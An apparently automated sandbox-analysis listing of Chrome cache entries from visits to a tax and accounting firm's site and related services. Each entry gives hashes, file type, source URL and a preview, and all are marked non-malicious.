SSDEEP:	96:uENzvoz7CKfHx22dtUPGNtG+LMmReuq85a:Bvsfs2dtUuNtumReuba
MD5:	E5FDB7BCC9087AF307F0904C00B35B62
SHA1:	FEFC3A3E0A4C96E0AB47C1E2C5A5EC8487C46888
SHA-256:	107E8A6E4842D99184721B80278B6786ED4C22BC6E8DC0510011B7B0CBD45620
SHA-512:	CB59CCFDA16F7897F8C2942190062DB35E39AF53C9C1B7F14E098DB258727470E93A443D0E9E530452026955FCA27A54DE3D179FF39E38894BB6AA523E3F1A01
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/home/search-icon.png
Preview:	.PNG........IHDR...=...9.......#.....sRGB.........gAMA......a.....pHYs...t...t..f.x....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16c9bc52-7b1c-429b-9115-24f9e0478964" xmpMM:DocumentID="xmp.did:E7959E9DB5AE11E6957FC9103BDCCE93" xmpMM:InstanceID="xmp.iid:E7959E9CB5AE11E6957FC9103BDCCE93" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df4bc394-0e4b-4676-b0c0-35e736784415" stRef:documentID="adobe:docid:photoshop:c683e074-fe18-1179-b251-e699586533b2"/> </rdf:Description> </rdf:RDF> </

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1363)
Category:	downloaded
Size (bytes):	4969
Entropy (8bit):	5.323711042964817
Encrypted:	false
SSDEEP:	96:a+/nbdW48w2U+Z21673fIdhFGip6ELWrxmLnBNgxR/D1Sv:v/b0XU7mIdrGidAILnrgxR8v
MD5:	64E7ED7DCE00ED4FDFE21AA8648733F4
SHA1:	AC75FD232F78F1FC39099EAEC4117A714468FB7F
SHA-256:	6FAC0349F1005D41AD7FB3409B08D290840F142FACB5CD91C95786A137858466
SHA-512:	817D20240FFB800ECEE3BFCEFB2417D4FD5C8E1B7BB0E2E005EB2DB7A62FDF83BA290F42D7C2429C41471980F5C32A9829FADEA929304BD30B339045D91D2729
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/stats.js
Preview:	google.maps.__gjsload__('stats', function(_){var JQa=function(a,b){return new _.pza(a,b)},KQa=function(a,b,c,d){const e={};e.host=document.location&&document.location.host\|\|window.location.host;e.v=a.split(".")[1]\|\|a;e.fv=a;e.r=Math.round(1/b);c&&(e.client=c);d&&(e.key=d);return e},MQa=function(a){var b=document;this.token=LQa;this.Gg=a+"/maps/gen_204";this.Fg=b},PQa=function(a,b,c){c=c\|\|{};const d=Date.now().toString(36);c.src="apiv3";c.token=a.token;c.ts=d.substr(d.length-6);b.cad=NQa(c);b=OQa(b,"=","&");b=a.Gg+"?target=api&"+b;(new _.Mf(a.Fg)).createElement("IMG").src=.b;(a=_.na.__gm_captureCSI)&&a(b)},OQa=function(a,b,c){const d=[];_.je(a,function(e,f){d.push(f+b+e)});return d.join(c)},NQa=function(a){const b={};_.je(a,function(c,d){b[encodeURIComponent(d)]=encodeURIComponent(c).replace(/%7C/g,"\|")});return OQa(b,":",",")},RQa=function(a){if(a instanceof JS\|\|a instanceof QQa\|\|a instanceof KS)return a;if("function"==typeof a.next)return new JS(()=>a);if("function"==typeof a[Symbol.i

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12652), with no line terminators
Category:	downloaded
Size (bytes):	12652
Entropy (8bit):	5.20240896843147
Encrypted:	false
SSDEEP:	384:oe8sHDZ/J+oHewgOQGp/GJD83kfn3GVqv0s+pfYm03pY9:oe8s1/J+oHlgOXhS83kf3wqv0s+pfYmP
MD5:	F57435A927D422043BEFE66BD74F4D68
SHA1:	4A2F90016CA54D0938263C50B8995BF889F6278B
SHA-256:	F84293668B02B8C83C20C5C2CF51F8A5A64AC5A15D34BE26C85382496B107700
SHA-512:	D86E8BF917A79C58443C433062273C68D2E81BE3F44B3E7EBBCD6146AE87BFFDBFE9879F862855C2D662D17D41160C5038BFD2EC0E35FBFA63BD9C32AA0620D6
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7
Preview:	!function(){"use strict";const e=e=>Math.abs(parseInt(e,10)),t=(e,t)=>{const a=new Map([["init","init"],["validation_failed","invalid"],["acceptance_missing","unaccepted"],["spam","spam"],["aborted","aborted"],["mail_sent","sent"],["mail_failed","failed"],["submitting","submitting"],["resetting","resetting"],["validating","validating"],["payment_required","payment-required"]]);a.has(t)&&(t=a.get(t)),Array.from(a.values()).includes(t)\|\|(t=`custom-${t=(t=t.replace(/[^0-9a-z]+/i," ").trim()).replace(/\s+/,"-")}`);const n=e.getAttribute("data-status");return e.wpcf7.status=t,e.setAttribute("data-status",t),e.classList.add(t),n&&n!==t&&e.classList.remove(n),t},a=(e,t,a)=>{const n=new CustomEvent(`wpcf7${t}`,{bubbles:!0,detail:a});"string"==typeof e&&(e=document.querySelector(e)),e.dispatchEvent(n)},n=e=>{const{root:t,namespace:a="contact-form-7/v1"}=wpcf7.api;return r.reduceRight(((e,t)=>a=>t(a,e)),(e=>{let n,r,{url:o,path:c,endpoint:s,headers:i,body:l,data:d,...p}=e;"string"==typeof s&&(n=

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x826, components 3
Category:	downloaded
Size (bytes):	190746
Entropy (8bit):	7.983953289844051
Encrypted:	false
SSDEEP:	3072:XuAhJ756Vgy2kULBMeorZovYXq/eFiPCiiNW3QKD0g581BfLipGGUz2M:ZVHy2kU1MH2vYXqeEcg3QKD0O81RCeyM
MD5:	52E6A4444FD70DF386583B93C27A5143
SHA1:	5CF4CFE97A79457C5E0885C00F3085727D08E649
SHA-256:	EEEA227A69749D88147AEF51606B5D83311DE8C080F078E0AF347C31AD173349
SHA-512:	AD9F597AD7957F4CF46424509B8ABFD73F71C8F2A04FDF5B73AEBF6F1A9E2C1EFFBC7423EA96ECF48BA93391BBC224C0E525E068719FECF8A3175A3D1B4FC6E4
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/05/banner.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................:.@.."................................................................................a.5..Y`VX.......+,....a.a.aY`VX...........@.@.@.D.EL L L L L ..+..a.a.a.b...&............DI.I..A.A.A.0..+&.....}..?...v...f.:vd..#X. . . . ...$.$.$.$.$DI.I.I!............).R.........2..C.0C.0C.0J@..$...`..`..a...C.0C@.&.`....L.........!.............&.h.. .....T.....&....h.........q..0}..g.......a.-..M...o.`.....................(..!..@...... ...0C!.............&.....oL.0CP...`.*.@....C..P..!.......@.C.5...!..Hj..`..0C.4.@.!..@ ........0C.J".&......F^WG.ch...Y.@7...... ......0..CT.................!.............................C.0C)&@.!......C.1P..&.`....C.0@.4.P.!........0......!.................`&........C.....Nkf.-.....4....&..........C.2..............b......... .. L..........Dgl!..C.4..`.B..............!..L....2....`.......0C.0@.`.B.H.

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 57, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	5101
Entropy (8bit):	7.953748739153428
Encrypted:	false
SSDEEP:	96:jvpErXslu5oNt08ML2esfNuM5bJxe6T1ypKYtM0NtmwTZdGakXiefSQ3bOI42i:qfCDfYyw6spKL0mwTnd4bIj
MD5:	00057074E74A5A853C9B2910B6A71B17
SHA1:	DD15AC263E8466B3D145AAA5306E499196AB3482
SHA-256:	702CA3557D63B9C81DE26C2E8939F1A752A7089A6A76222D5085AE5AFE883851
SHA-512:	6F965E12A37439886B5FBFB06D8AA19416AA296BCE21D50BAAEEBB3213C34AC816ACC366BA12FD7FD950592068646E2BBC1ADB9302374E56C7D5E88D37BBE61D
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/home/person-icon.png
Preview:	.PNG........IHDR...=...9.............sRGB.........gAMA......a.....pHYs...t...t..f.x....IDAThC.Z.p..}..{..Z..=t...6`.s.lc...0...$..BC.(.r........&.&.....M.2....j......1.\|[.e..-............q.f.?iW.......2.R.......ad?...).?...Kd{+j..qf......96....'.g.]..k.....^.L/..Ro..V0P....)..d.......?=.......N'..t.B!;...w.......?7......a+.r.8..X....!...........\-e..t.Je&.JMWT.]\|vl....W..jP4..-......8#.q..O0..;K.A0....L...J.....K..X{C...........4.'.....y.:.....9m..{......~.h.oo._.R....ji.*/.#......w.g`..../}l4u....>..<..;.}.86m.>@/.....o."....&F.v.....SnW[]...7.c).?4..wh..{ ......'... p&.yl....m./h....../.p....BC.;...>.......'.......}.G~.o..N.:4.{d4..`....s..>..0....$W\..-.!..}...n]....m......8.\.\|..6..[..[..<....NS.yH..=...<.z.R.........O:.Y..C..%.aZB...Ek..7.~A...w.n..D...4..oy......vUY)..q..cO.2..x...+6.K.?.-...9JB.O.....F.O..{.....#..M..t.....1+e.qn.....,.J..,.!.)..~mx.'.kH7.}.j..#.,T...#E....R#=/l.b..n/).!..L.,.U...=vl._...K..0....M...

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x627, components 3
Category:	dropped
Size (bytes):	20511
Entropy (8bit):	7.313423509482377
Encrypted:	false
SSDEEP:	384:H1Uix+XhSB8aTxlrZbCVk2Jx/WPJGa6YYgZ8VUSyphLD:VUix+XhSBh3Zbj4xPYYLJKD
MD5:	550C57516FFF8DFBAE2338403ABE29C1
SHA1:	CA386CA5AFE9E9E02C860411A4F4E938720B1A91
SHA-256:	1131D93E22ABABF80B33C1560446810D21FE091F1A966714B46828B9CFCAB4A4
SHA-512:	690A181043DC58A0CDB79F3E11431EA05FD7A69A94EED235F2C3F89C50875997F6967041EB000250D5B48B9F4945E68E2A3ECCFDD1D853A7E2636BC4680D434B
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................s.@.."..........................................................................~^...60..c..60..c..60..c...c>.}.60..c..60..c..60..c......9..m.60..c......<...0..~~........60..c..60..c..60..c..6<....c...60..c..60..c..60..c....;bw..0..c..60..c..60..c..60..c..60..c.:..c.....c..61:d.....(........c..7.`(...... ...............?.................`.n=N....... ..>.8,...zJ(.............<.q.....x....f9w............ ..^}....... ..........<.s.z<..............9....u...(... ...)O.w...(.............3....(....4....L..(..........`...(...... ..........>....7.........(....p.y.............>w.u...(...............G..(...:..&u..........p.....e.................8.....7...................= .......(.<........... .........YF.=)@...F...........y...5........... ..........7.....(.........:8d..==.{('....X=@........#...I`.%................Y

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56398), with no line terminators
Category:	downloaded
Size (bytes):	56398
Entropy (8bit):	5.907604034780877
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyB5lxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0B5chXwW49z2
MD5:	EB4BC511F79F7A1573B45F5775B3A99B
SHA1:	D910FB51AD7316AA54F055079374574698E74B35
SHA-256:	7859A62E04B0ACB06516EB12454DE6673883ECFAEAED6C254659BCA7CD59C050
SHA-512:	EC9BDF1C91B6262B183FD23F640EAC22016D1F42DB631380676ED34B962E01BADDA91F9CBDFA189B42FE3182A992F1B95A7353AF41E41B2D6E1DAB17E87637A0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6747)
Category:	downloaded
Size (bytes):	262422
Entropy (8bit):	5.42307706709398
Encrypted:	false
SSDEEP:	6144:6zrtVY+yOyukYkjCrnwsNgYCsGsRttxo1nSN4fLWIGur/OML4D6586:6zjY+yOyukYkernqYJxo1nSNGLWIGurh
MD5:	418ECBB83C2DF2A704FDEC98CBA736BF
SHA1:	0B0535EBE27DFCEF7437BC75CF33648C61BE3DBE
SHA-256:	CF0C03BD0EFEE39705D10989E116CE08D2810C4ED1B578B6451DD26A34BEEDE5
SHA-512:	78580875F8CED25106945DF41C7F99DFE054632CF856556FBC7338C15387C9154C88B3E4035E320BCFC33463D4BF1BEFF3DF3D4EE980AC49BE7AD066A0283C89
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/common.js
Preview:	google.maps.__gjsload__('common', function(_){var Dda,Eda,Fda,Hda,Jda,Kda,Lda,ss,Fs,Js,Rda,Sda,Tda,it,lt,kt,Uda,mt,Vda,nt,qt,st,ut,yt,Xda,Yda,$da,bea,Ht,Zda,cea,dea,eea,Yt,du,fu,ju,mu,vu,gea,dv,nv,pv,ov,lea,Iv,mea,Lv,Mv,Nv,Qv,Wv,Zv,Xv,aw,oea,bw,pea,ew,kw,tea,mw,nw,uea,pw,qw,rw,vw,xw,ww,zw,yw,sw,Aw,Iw,yea,Kw,Mw,Pw,Tw,uy,Zea,afa,bfa,mz,Jz,xfa,Afa,yfa,Wz,Efa,Ffa,Pfa,Qfa,Rfa,Sfa,pA,qA,Vfa,Wfa,Xfa,Yfa,rA,Gda,Ida,Qy,Ry,$fa,$ea,Py,Ty,Mda,Nda,cfa,Oda,Pda,aga,bt,aea,fga,gga,hga,iga,yA,Gy,kga,lga,mga,Bt,Ct,nga,jfa,wfa,ufa,Wt,oga,fea,nu;._.Yr=function(a,b){return _.ca[a]=b};Dda=function(a,b){return _.yd(b)};.Eda=function(a){return JSON.stringify(a,function(b,c){switch(typeof c){case "boolean":case "string":case "undefined":return c;case "number":return isNaN(c)\|\|Infinity===c\|\|-Infinity===c?String(c):c;case "object":if(Array.isArray(c)){b=c.length;var d=c[b-1];if(_.Mg(d)){b--;const e=!_.Xg(c);let f=0;for(const [g,h]of Object.entries(d)){d=g;const l=h;if(null!=l){f++;if(e)break;l instanceof _.ch&&l

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	8194
Entropy (8bit):	7.9026014126939526
Encrypted:	false
SSDEEP:	192:a/BpFUytn8ZlXBoecLMRH/u1c8eB/MKzAFPlgbMs0cMwCIs:cphtnClxo+RW1k9M9PlgYLIe
MD5:	C0F3114DD6BF159D5424951FF34648E8
SHA1:	1BD4FDBB5C2046E16E9107ABD8FC7E14636ED2F4
SHA-256:	53D10BAAD0E36BCFBADD223BC107020D219784467DDDFB46480E903C9935C3EC
SHA-512:	7203DE3718BDE61DC1B17CB809658B9122EDFE252D62B2753DDD8A4CBC9B3950C0E9BEFAB10E21A5C41B26065C37CFE3AA8853A2FDFDB88981F2A366AE17D1FE
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t39.30808-6/432924638_981453820046238_6885541610282582644_n.jpg?stp=c62.0.160.160a_dst-jpg_p160x160&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=71KX-ATRvNwAb4ZywyM&_nc_ht=scontent-lga3-2.xx&oh=00_AfD9dej9ODWOZ3g0H0iLgebkxC4YSr9BElu67QWbKC7Lsg&oe=661E14B4
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100004403000094060000220700000f080000430d0000ad13000029140000e8140000e015000002200000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..............................................................................w...+..3N.I&.@.pQ.Md.).8Oa...0.y.-.].%...->c.'e6.!......9......E,\..0Z....EUF.&..>.....'..U\|...;....v/_...L........8.yN..6.1+W..c. ..B.l.BD.^T..t..9..&.!8.k1......g.....a[.-;..*..,.4Wn@.......L......k...VYT.Y..+.4.p.qJ...tX.2:#"J.S....j(}..u.v....x...^.M.{.9.g.Q.._.r.........;...i...F...0[.'...n.j...~.i.4{j...B..x..aE....wx..+k.b..&]....._)y?@..1..t..3&.<a..9\|U;.i..d-q...8..I.$.t.4.....+............................!"# .012$@3AC..........u.....E.^....a.B[".sa9.Je..-...V..K.....2....5.!u.R....t.j<.K,.a.....y..U.u1....d......T...]m..}...=.....:.h............"...UE\Z.I.o.(.~.{.E}$

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/sha1.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (11694), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	65853
Entropy (8bit):	5.373142986524933
Encrypted:	false
SSDEEP:	1536:ebapLVJ58PH1jOf2T61Y9VSjdAUix0t4wT:e+dq16f2T61QSjdAUix0t4wT
MD5:	C64A28CAA0E7C8774588C4CAEAA8D6D0
SHA1:	55E0170B043EF8053D89DE6C8120392D59D45DA9
SHA-256:	29A07F0445900A582900C6487F8FCB9C3AF9BB6CBE6816AFE3AE1896D185EFE1
SHA-512:	E25DF379AF3BCCB0BF77EBA5D1F88C9B484C3AD9937F6C7FA5BB2987B8FC4D6860BB57DDA745F345607227A5BF1736978F905F75A328E0A0F0B3E9745BED9130
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/about-us/
Preview:	..<!DOCTYPE html>.<html class="no-js" lang="en-US">.<head>.<meta charset="UTF-8">.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php">.<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO plugin v22.4 - https://yoast.com/wordpress/plugins/seo/ -->..<title>About Us - BFJ Tax & Accounting</title>..<meta name="description" content="BFJ Financial Group, the merger of Bell & Frech, LLC and Jerone O. Jacobs & Associates.providing our clients with full range of business and personal tax..." />..<link rel="canonical" href="https://www.bfjfinancial.com/about-us/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="About Us - BFJ Tax & Accounting" />..<meta property="og:description" content="BFJ Financial Group

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	365102
Entropy (8bit):	5.061913329035243
Encrypted:	false
SSDEEP:	6144:rMeEszwKqIDecFlJq1R15F4P/045jNk0Cy1y6/muB:IebcKqIDecFlJq1R15mP8gCc
MD5:	3F7992571127B824D6BF08B704A9A2CB
SHA1:	850DFD2251E583D7A518B2FC013D8114293C2A71
SHA-256:	F61259B382B4D6FE34C3E156B6772A2A3F65296DC446370ADDBF29B128D7D1B1
SHA-512:	9A3D3171CAA20714AF47120F81433EDBD47053A7A1777609A03210E096C327B0C81B260874424F253B9286D6EDD03A964A86AEEAA1F06FCE406BCA634A4F524B
Malicious:	false
Reputation:	low
Preview:	:root,.hue-web__artdeco-migration-scope--revert{--artdeco-reset-base-margin-zero: 0;--artdeco-reset-base-padding-zero: 0;--artdeco-reset-base-border-zero: 0;--artdeco-reset-base-font-size-hundred-percent: 100%;--artdeco-reset-base-font-weight-bold: bold;--artdeco-reset-base-font-style-italic: italic;--artdeco-reset-base-outline-zero: 0;--artdeco-reset-base-outline-none: none;--artdeco-reset-base-line-height-one: 1;--artdeco-reset-base-display-block: block;--artdeco-reset-base-list-style-none: none;--artdeco-reset-base-quotes-none: none;--artdeco-reset-base-vertical-align-baseline: baseline;--artdeco-reset-base-vertical-align-middle: middle;--artdeco-reset-base-background-transparent: transparent;--artdeco-reset-base-opacity-zero: 0;--artdeco-reset-base-top-zero: 0;--artdeco-reset-base-position-absolute: absolute;--artdeco-reset-base-text-decoration-none: none;--artdeco-reset-base-text-decoration-line-through: line-through;--artdeco-reset-base-border-collapse-collapse: collapse;--artdec

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	22591
Entropy (8bit):	4.938417124635982
Encrypted:	false
SSDEEP:	384:QLBDyWxPMGoIId/msrsaCWuYe81fUE4Uy1LwEN3uinisC4isiTioisiTivStTeu/:QtDAGitb6ihh2Fh2v22G
MD5:	F63266D69C5D62045CBC5D871B8A8A54
SHA1:	684306D05710ECF47702B6071658CA7447154BBC
SHA-256:	63ADD061B1863E56E525692B6BD6038F8FBD00E259806DD4594BEC94368698A3
SHA-512:	1B62B23224E3F60DAA19CE79356A3E6BCB5B4C1C402A67AF8B0A2D87D69BC07E94E526FBD344122A3A7D2CA3C5DB87694DFF6836EDFB599D734C353B6ADC92A5
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/Common.js
Preview:	.....function SelectAllText(textBox) {.. textBox.focus();.. textBox.select();..}....function isHTML5UploadSupported() {.... var progEv = !!(window.ProgressEvent);.. var fdata = !!(window.FormData);.. var wCreds = window.XMLHttpRequest && "withCredentials" in new XMLHttpRequest;.... return progEv && fdata && wCreds;....}....function supressEnterKey(event) {.. var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;.. if (keyCode == 13) {.. return false;.. }.. else.. return true;..}....function showErrorTip(element, msg) {.. var tooltipManager = $find(RadToolTipManager1ClientID);.. if (!tooltipManager) return;.. var tooltip = tooltipManager.getToolTipByElement(element);.. if (tooltip) {.. tooltip.set_content(msg);.. if (!tooltip.isVisible()) {.. tooltip.show();.. }.. return;.. }.. tooltip = tooltipManager.createToolTip(element);.. tooltip.set_content(

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2143
Entropy (8bit):	7.489483693830243
Encrypted:	false
SSDEEP:	48:g1uNn2vwJ3xmgCyq0Qgyr7fE/wFnBtqpa1ieucoFl/ss:p2QpRqmyffE/sBca1rucoFl/ss
MD5:	66DEFE8841303A7111155EC339692120
SHA1:	FDAF81A3525E7E8BB02678193490DB11180CF746
SHA-256:	F3D5254125DCC9E3FCD12595CBA2D1912F04D8080B84535ECF336DD4A1E9B868
SHA-512:	44E08395CE1ED21997D0956FC2E42C700CD49F9CE1F5C2B23386D23ADE5F55D28BAF51BACCA94DAA6CC53F6C8DEBA7FC044DCDFDB0277AD6ACC9052451B00438
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DD7DABDA1B9F11E8AEF493D9E1EE3689" xmpMM:DocumentID="xmp.did:DD7DABDB1B9F11E8AEF493D9E1EE3689"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DD7DABD81B9F11E8AEF493D9E1EE3689" stRef:documentID="xmp.did:DD7DABD91B9F11E8AEF493D9E1EE3689"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.K.6....IDATx.V.k\U...}o&3...I'..........m. ..B....D.M.Eu...7.....Ui-..E".Zl45....&Nl...~.].s.d2.IB2>r_.w...s

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65410)
Category:	downloaded
Size (bytes):	513252
Entropy (8bit):	5.877645482702884
Encrypted:	false
SSDEEP:	6144:3mJ+8uZvuJpwHABZm8CwT2frzi68Y6jDLp7xCF8O2XRDEJeyAnjoFBU:WsBqwHSZxfrZDL88O2hDKw
MD5:	4121CD8D20E9B8280924D83EAE3DB867
SHA1:	21AAAC3B54864E80556DF0CBD37EB0328076E453
SHA-256:	522EC38D2A6236643DA43D49C8851397FD9A3C9FE415D3C5F81168E3B8EBDEEB
SHA-512:	5F7A3C12B7E51D61559CC5A0E8667DB2FAAAB9159DD726B03387218A56B1678A3C421EEF0D9E132E869C7DF5761D90CBCB4586C734F425694FBC6E772C95DDCA
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/3utcckkfns4imldimt4a8krjb
